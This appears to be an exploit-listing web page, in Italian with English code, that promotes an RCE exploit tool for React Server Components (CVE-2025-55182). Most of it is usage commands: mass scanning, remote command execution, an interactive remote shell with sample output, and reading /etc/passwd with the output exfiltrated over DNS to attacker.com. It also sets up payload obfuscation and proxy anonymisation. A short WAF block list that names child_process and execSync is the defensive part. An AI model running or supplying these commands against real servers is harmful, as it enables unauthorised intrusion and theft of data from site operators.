CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit — Scanner RCE avanzato per React Server Components per CVE-2025-55182. Funzionalità: fingerprinting multi-stadio, verifica della vulnerabilità, esfiltrazione DNS, shell interattiva, offuscamento del payload e reportistica professionale (JSON/HTML/PDF). Solo test autorizzati. | Kitploit

Categoria di funzionalità	Punto di forza dell'implementazione	Stato operativo
Fingerprinting intelligente	Rilevamento multi-sorgente di framework e versione con algoritmi di scoring della confidenza.	✅
Verifica multi-stadio	Pipeline di validazione a 5 stadi progettata per eliminare sistematicamente i falsi positivi.	✅
Generazione di payload	Generatore di payload offuscati con supporto a esfiltrazione DNS e multi-encoding.	✅
Shell interattiva	Esecuzione di comandi pseudo-interattiva in tempo reale e accesso alla shell su target verificati.	✅
Reportistica completa	Generazione automatizzata di report in formato JSON, HTML, PDF e Markdown.	✅
Esfiltrazione DNS	Esfiltrazione out-of-band dell'output dei comandi tramite gestione sicura delle query DNS.	✅
Motore di concorrenza	Architettura di scansione multi-thread ad alte prestazioni per grandi superfici d'attacco.	✅
Integrazione proxy	Supporto proxy HTTP/HTTPS e SOCKS per traffico di valutazione anonimizzato.	✅

# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh

# Alternatively, install core Python dependencies manually
pip install -r requirements.txt

# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan

# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json

# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"

# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell

# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com

# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf

Target URL / Endpoint
       │
       ▼
[Stage 1] Framework & Header Detection
       │
       ▼
[Stage 2] Component Version Analysis
       │
       ▼
[Stage 3] Protocol Compatibility Check
       │
       ▼
[Stage 4] Non-Destructive Safe Validation Request
       │
       ▼
[Stage 5] Statistical Confidence Scoring
       │
       ▼
Vulnerability Assessment Decision

$ python exploit.py -t https://target.com -m shell
[*] Initializing interactive shell session against https://target.com
[!] Type 'exit' to terminate the session.

shell> whoami
www-data

shell> uname -a
Linux ip-10-0-1-15 6.8.0-1018-aws #20-Ubuntu SMP PREMO__X64 x86_64 GNU/Linux

shell> exit
[*] Terminating session and cleaning up temporary artifacts...

# ReactRCE-Scanner Production Configuration

timeout: 30
threads: 20
max_retries: 3
proxy: null

user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"

headers:
  Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
  Accept-Language: "en-US,en;q=0.5"
  Accept-Encoding: "gzip, deflate, br"

output:
  format: "json"
  directory: "./reports"

logging:
  level: "INFO"
  file: "exploit.log"

exploit:
  obfuscate: true
  encoding: "base64"
  timeout: 60

scanning:
  concurrent_scans: 20
  rate_limit: 0.5
  timeout: 30

fingerprint:
  enable_deep_analysis: true
  follow_redirects: true
  analyze_assets: true

# Execute the complete automated test suite
python exploit.py --test

# Expected Output:
Running test suite...
✓ test_fingerprinting passed
✓ test_payload_generation passed
✓ test_config_loading passed
✓ test_verification passed
✓ test_report_generation passed

Tests passed: 5/5

git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
pip install -r requirements-dev.txt

# Run pytest unit tests
pytest tests/

# Format and lint codebase
black exploit.py
flake8 exploit.py

# Block prototype pollution and remote execution attempts in request bodies
if ($request_body ~* "__proto__") {
    return 403;
}
if ($request_body ~* "constructor") {
    return 403;
}
if ($request_body ~* "child_process") {
    return 403;
}
if ($request_body ~* "execSync") {
    return 403;
}

Più Popolari

CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

📑 Indice

⚠️ Dichiarazione legale e avviso etico

📋 Panoramica

🎯 Funzionalità principali

🚀 Guida rapida

Installazione

Riferimento ai comandi di base

🔬 Architettura e approfondimento delle funzionalità

1. Motore di fingerprinting intelligente

2. Flusso di verifica multi-stadio

3. Offuscamento dei payload ed evasione

4. Shell di comandi interattiva

5. Suite di reportistica professionale

⚙️ Riferimento alla configurazione

🧪 Suite di test automatizzati

🛡️ Remediation e mitigazione

Azioni amministrative immediate

Regole WAF di riferimento (Nginx / OpenResty)

📚 Riferimenti

🤝 Contribuire e community

📜 Licenza e autore